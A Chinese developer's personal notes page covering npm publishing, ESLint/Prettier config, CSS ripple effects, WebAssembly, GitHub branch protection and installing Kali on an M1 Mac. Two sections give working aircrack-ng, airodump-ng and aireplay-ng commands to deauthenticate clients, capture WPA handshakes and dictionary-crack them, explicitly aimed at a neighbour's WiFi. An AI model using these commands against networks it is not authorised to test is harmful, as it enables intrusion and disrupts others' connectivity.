12-26

1 设计模式

1.1 状态模式

重点：一个对象内部状态改变而其行为也随着改变了

图来源于[1]

State：状态类
ConcreateState：具体状态类

[1] 图解Java设计模式之状态模式.https://zhuanlan.zhihu.com/p/124766917

2 TypeError: Class extends value undefined is not a function or null

原因：类导入问题，可能导致循环引用，而导致该问题

解决方案：调整导包位置和顺序

[1] TypeError: Class extends value undefined is not a function or null.https://stackoverflow.com/questions/43176006/typeerror-class-extends-value-undefined-is-not-a-function-or-null

3 Npm发包 | 发版

分为三步：1准备好包 2登录 3发布

第一步：准备

npm init #或 yarn init

#注意包名不能与公开的包名冲突，否则无法push上去

第二步：登录

npm login

第三步：发布

npm publish ginlink-first-package

此时就可以通过npm 或者 yarn安装了

yarn add ginlink-first-package

其他操作

删除指定版本

npm unpublish --force [email protected]

问题

源与npm官网不一致？

解决方案1：在package.json中配置发布地址

{
  "publishConfig": {
    "registry": "https://registry.npmjs.org/"
  },
}

解决方案2【不推荐】：更改为官方源

npm config set registry https://registry.npmjs.org

#附设置为淘宝源
npm config set registry https://registry.npm.taobao.org

无法publish？
- 原因1：与公开包名冲突，当然无法发布，更名即可
- 原因2：登录账号并未进行邮箱认证
  这里可以会有人问如何验证，先切换一下邮箱，之后npm网站顶部就会提示是否重新验证

附录

附1：与版本相关请阅读[1]

[1] npm 发包者必读.https://juejin.cn/post/6844903870678695943

[2] NPM package 版本管理最佳实践.https://github.com/canvasT/blog/issues/2

4 前端集成测试快速入门

内部包含了以下几部分内容，所以需要了解一下：

集成测试全家桶

TODO

[1] 前端集成测试快速入门.https://manfredhu.com/cs/36-jest-travis-codecov.html#jest

5 全局错误处理

TODO

[1] https://stackblitz.com/github/mui-org/material-ui/tree/master/examples/remix-with-typescript?file=app%2Froot.tsx

6 Mui

TODO：该项目为一个UI库，其样式大气，符合国外审美

[1] material-ui.https://github.com/mui-org/material-ui

7 Css实现波浪的逻辑

通过padding、margin、border-radius以及动画配合实现

.ripple {
  position: relative;
  overflow: hidden
}

.ripple:after {
  content: "";
  background: rgba(255, 255, 255, 0.3);
  display: block;
  position: absolute;
  border-radius: 50%;
  padding-top: 240%;
  padding-left: 240%;
  margin-top: -120%;
  margin-left: -120%;
  opacity: 0;
  transition: all 1s
}

.ripple:active:after {
  padding-top: 0;
  padding-left: 0;
  margin-top: 0;
  margin-left: 0;
  opacity: 1;
  transition: 0s
}

[1] CSS3仿Android按钮点击波浪特效.http://www.dmaku.com/jquery/415.html

8 StoryBook

TODO：研究storybook可否运用于自己的应用环境

[1] 利用StoryBook开发UI组件管理.https://zhuanlan.zhihu.com/p/30404907

[2] Storybook 入门指南.https://xiday.com/2020/09/27/storybook/

9 WebAssembly

9.1 WebAssembly 概述

简单来说，WebAssembly 是一种除了 HTML、JS 和 CSS 之外，可在浏览器环境下运行的一种二进制程序文件，文件格式为 wasm。 wasm 文件是一种低级的类汇编语言，运行效率接近原生性能，并可以和 JavaScript 进行交互。

9.2 AssemblyScript 概述

虽然 wasm 文件有各种优点，但是并不能使用 JavaScript 编写。通常情况下是使用诸如 C++或 Rust 等语言（语言支持情况）编写并生成 wasm 文件。这对于前端开发人员来说还需要学习另外一门语言，存在上手难度。好在有 AssemblyScript。 AssemblyScript 是 TypeScript 的子集，包含了最基本的 JS 标准库。可使用有限的 TS 语法编写并生成 wasm 文件，对前端开发人员非常友好。

[1] WebAssembly 与 AssemblyScript 快速入门.https://xiday.com/2021/09/27/web-assembly/

10 在 Nginx 中配置二级域名

TODO

关于二级域名申请SSL的问题：

一个域名对应一个SSL，也就是说每个二级域名需要单独去申请SSL
gincool的SSL是在腾讯云中申请的

[1] 在 Nginx 中配置二级域名.https://mincong.io/cn/nginx-subdomains/

[2] 腾讯云SSL证书申请.https://console.cloud.tencent.com/ssl/dsc/apply

11 关于进度圆环的组件

背景：实现如下效果

12 React项目如何配置eslint

问题一：如何在React项目中手动配置eslint、prettier？

问题二：eslint和prettier两者有什么关系？

// package.json
{
  "devDependencies": {
    "@types/styled-components": "^5.1.19",
    "@typescript-eslint/eslint-plugin": "^5.8.1",
    "@typescript-eslint/parser": "^5.8.1",
    
    "eslint-config-prettier": "^8.3.0",
    "eslint-plugin-prettier": "^4.0.0",
    "eslint-plugin-react": "^7.28.0",
    "eslint-plugin-react-hooks": "^4.3.0",
    
    "prettier": "^2.5.1",
  },
}

yarn add -D prettier eslint-config-prettier eslint-plugin-prettier eslint-plugin-react eslint-plugin-react-hooks

yarn add -D @typescript-eslint/eslint-plugin @typescript-eslint/parser

❓ 问题：为什么不用安装eslint？

因为create-react-app默认带有eslint，且有基本配置，所以我们用的使用可以在package.json中继承它

{
  "eslintConfig": {
    "extends": "react-app"
  },
}

从包来看，prettier、eslint和react需要配置使用，下面是eslint配置文件

// .eslintrc.json
{
  "parser": "@typescript-eslint/parser",
  "parserOptions": {
    "ecmaVersion": 2020,
    "sourceType": "module",
    "ecmaFeatures": {
      // Allows for the parsing of JSX
      "jsx": true
    }
  },
  "ignorePatterns": [
    "node_modules/**/*"
  ],
  "settings": {
    "react": {
      "version": "detect"
    }
  },
  "extends": [
    "plugin:@typescript-eslint/recommended",
    "plugin:react/recommended",
    "plugin:react-hooks/recommended",
    // 在eslint-config-prettier v8.0.0中，此内容被合并到
    // plugin:prettier/recommended中
    // "prettier/@typescript-eslint",
    "react-app",
    "plugin:prettier/recommended"
  ],
  "rules": {
    "@typescript-eslint/explicit-function-return-type": "off",
    "prettier/prettier": "error",
    "@typescript-eslint/no-explicit-any": "off",
    "@typescript-eslint/ban-ts-comment": "off",
    "@typescript-eslint/ban-ts-ignore": "off",
    "@typescript-eslint/explicit-module-boundary-types": "off"
  }
}

// .prettierrc
{
  "semi": false,
  "singleQuote": true,
  "printWidth": 120
}

关于eslint-pulgin-prettier和eslint-config-prettier的区别，详见[1]

总结来说，prettier-eslint不再推荐，eslint-plugin为插件，eslint-config为配置，可以指定一些规则

抓住eslint为规则，prettier为规则执行者即可

[1] 漂亮的eslint，eslint的插件prettier和eslint的配置prettier有什么区别？.https://qastack.cn/programming/44690308/whats-the-difference-between-prettier-eslint-eslint-plugin-prettier-and-eslint

react-circle

13 Github开启分支保护

入口：setting-> Branchs-> Add rule

原理：Github接受一定的规则，通过该规则去匹配分支，然后再设置一些权限，生效于选中的分支，例如：

# 全匹配main分支
main

# 以main开头的分支
main*

# 包含main的分支
*main*

那可以设置哪些规则呢？

设置无法推送，只能通过提pull request的方式进行合并代码，且无法从本地提交代码、删除该分支，常用于main分支
注意选中 “Include administrators”，否则对管理员不生效

14 Mac M1中破解WiFi

结论

在mac中通过aircrack-ng破解wifi可行度并不高，因为要等着抓握手包。若在kali linux中，可以手动攻击wifi，让其重置链接，从而抓到握手包

一些命令

# 查看附近wifi
airport -s

# 嗅探wifi，抓握手包
sudo airport en0 sniff 6

# 查看握手包
sudo aircrack-ng /tmp/air.....cap

# 通过字典破包
sudo aircrack-ng -w ./dict/FastPwds.txt -b E8:65:D4:73:10:B1 ./airport-sniff-602.cap

问题一：在MAC下，如何切换到root用户？

sudo -i
# 后输入密码即可

15 如何通过Kali破解隔壁WIFI

说明

[1]中较为详细
[2]中详细介绍了通过Parallels kali虚拟机+无线网卡来破解WIFI
[3]中介绍了如何生成字典，以及用wireshark去分析抓到的包
[4]中介绍了在M1机器上安装aircrack-ng，以及破解wifi的过程

获得技能

虚拟机的kali若需要wifi功能，则需要外置无线网卡来实现，不能利用宿主的wifi功能

可以通过aireplay-ng让其wifi不能联网

aireplay-ng -0 -0 -a 54:E6:FC:30:54:DA  wlan0

一些命令

sudo su

# 嗅探网络
airodump-ng wlan0

# 嗅探网络包
airodump-ng -w sofia -c 11 wlan0

# 攻击
aireplay-ng -0 0 -a 54:E6:FC:30:54:DA  wlan0

# 查看包
aircrack-ng ./sofia-01.cap

# 跑包
aircrack-ng -w ./dict/FastPwds.txt -b E8:65:D4:73:10:B1 ./sofia-01.cap

https://vscode.cdn.azure.cn/stable/899d46d82c4c95423fb7e10e68eba52050e30ba3/code_1.63.2-1639562499_amd64.deb

export http_proxy="http://127.0.0.1:8001"; export HTTP_PROXY="http://127.0.0.1:8001"; export https_proxy="http://127.0.0.1:8001"; export HTTPS_PROXY="http://127.0.0.1:8001"

无线网卡开启monitor模式

Don't use the airmon-ng check kill command to fix any errors or problems, instead, use the following commands to start monitor mode:

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up
sudo aireplay-ng wlan0

如果用了 airmon-ng check kill 去切换monitor模式，那么需要重新挂载一下无线网卡了

嗅探列表信息

名称	说明
BSSID	无线AP（路由器）的MAC地址
PWR	这个值的大小反应信号的强弱，越大越好
RXQ	丢包率，越小越好
Beacons	大致就是反应客户端和AP的数据交换情况，通常此值不断变化
#Data	如果有用户正在下载文件或看电影等大量数据传输的话，此值增长较快
CH	工作频道
MB	连接速度
ENC	编码方式。通常有WEP、WPA、TKIP等方式
ESSID	可以简单的理解为局域网的名称

[1] wpa-dictionary.https://github.com/conwnet/wpa-dictionary

[2] aircrack-ng破解Wi-Fi密码.https://www.weichao.ren/hack/your/life/2017/05/25/WIFI-crack/

[3] MacOS破解WiFi(WPA、WPA2).https://leiblog.wang/MacOS%E7%A0%B4%E8%A7%A3WiFi(WPA%E3%80%81WPA2)/

[4] MAC M1安装aircrack-ng绕坑与破解WIFI密码.https://cn-sec.com/archives/470125.html

[5] Cannot connect to internet after using airmon-ng check kill.https://unix.stackexchange.com/questions/223625/cannot-connect-to-internet-after-using-airmon-ng-check-kill

16 如何在苹果M1芯片 (Apple Silicon) 上安装 Kali

❓问题一：如何安装Parallels Tools以及/media/cdrom0权限问题[3]

点击安装parallels tools的时候，会有提示框，提示权限问题，如果直接运行install脚本，提示权限不够，很简单，直接把文件复制到出来，然后再运行

cp -R /media/cdrom0/ ~/pdtools/

sudo ~/pdtools/install

如果安装失败，则需要手动安装，分为以下两步[2]：

下载三个包：kbuild、common、headers

wget -o kbuild http://http.kali.org/kali/pool/main/l/linux/linux-kbuild-xxxx_amd64.deb
wget -o kbuild http://http.kali.org/kali/pool/main/l/linux/linux-headers-xxxx-common_xxxx_amd64.deb
wget -o kbuild http://http.kali.org/kali/pool/main/l/linux/linux-headers-xxxx_amd64.deb

安装

# 安装辅助 deb 安装工具
apt install gdebi -y

# 先安装 common 内核头依赖
gdebi common.deb

# 再安装主角 内核头文件
gdebi headers.deb

# 验证是否安装成功 （这个时候应该提示已经安装成功了）
apt install linux-headers-$(uname -r)

❓问题二：如何与宿主通讯？

/media/psf/Home/

❓问题三：虚拟机如何使用WIFI功能？

首先，需明确两点：

虚拟机不能使用宿主的wifi功能
虚拟机可以使用外部接入的USB无线网卡

❓ 问题四：Kali linux旧版本哪里下载？

http://old.kali.org/kali-images/

❓问题六：如何在苹果M1芯片 (Apple Silicon) 上安装 Kali Linux？

详见[1]

[1] 如何在苹果M1芯片 (Apple Silicon) 上安装 Kali.https://www.winsonlo.com/it/howto/kali-linux-install-apple-m1/

[2] Kali 2021.1 安装 Parallel Tools 疑难解答.https://www.sqlsec.com/2021/04/pdtools.html

[3] Kali Linux的Parallels Tools填坑记录.http://xferris.cn/kali-pt-tools/

1 设计模式​

1.1 状态模式​

2 TypeError: Class extends value undefined is not a function or null​

3 Npm发包 | 发版​

其他操作​

问题​

附录​

4 前端集成测试快速入门​

5 全局错误处理​

6 Mui​

7 Css实现波浪的逻辑​

8 StoryBook​

9 WebAssembly​

9.1 WebAssembly 概述​

9.2 AssemblyScript 概述​

10 在 Nginx 中配置二级域名​

11 关于进度圆环的组件​

12 React项目如何配置eslint​

关于eslint-pulgin-prettier和eslint-config-prettier的区别，详见[1]​

13 Github开启分支保护​

14 Mac M1中破解WiFi​

结论​

一些命令​

问题一：在MAC下，如何切换到root用户？​

15 如何通过Kali破解隔壁WIFI​

说明​

获得技能​

一些命令​

无线网卡开启monitor模式​

嗅探列表信息​

16 如何在苹果M1芯片 (Apple Silicon) 上安装 Kali​

❓问题一：如何安装Parallels Tools以及/media/cdrom0权限问题[3]​

❓问题二：如何与宿主通讯？​

❓问题三：虚拟机如何使用WIFI功能？​

❓ 问题四：Kali linux旧版本哪里下载？​

❓问题六：如何在苹果M1芯片 (Apple Silicon) 上安装 Kali Linux？​

1 设计模式

1.1 状态模式

2 TypeError: Class extends value undefined is not a function or null

3 Npm发包 | 发版

其他操作

问题

附录

4 前端集成测试快速入门

5 全局错误处理

6 Mui

7 Css实现波浪的逻辑

8 StoryBook

9 WebAssembly

9.1 WebAssembly 概述

9.2 AssemblyScript 概述

10 在 Nginx 中配置二级域名

11 关于进度圆环的组件

12 React项目如何配置eslint

关于eslint-pulgin-prettier和eslint-config-prettier的区别，详见[1]

13 Github开启分支保护

14 Mac M1中破解WiFi

结论

一些命令

问题一：在MAC下，如何切换到root用户？

15 如何通过Kali破解隔壁WIFI

说明

获得技能

一些命令

无线网卡开启monitor模式

嗅探列表信息

16 如何在苹果M1芯片 (Apple Silicon) 上安装 Kali

❓问题一：如何安装Parallels Tools以及/media/cdrom0权限问题[3]

❓问题二：如何与宿主通讯？

❓问题三：虚拟机如何使用WIFI功能？

❓ 问题四：Kali linux旧版本哪里下载？

❓问题六：如何在苹果M1芯片 (Apple Silicon) 上安装 Kali Linux？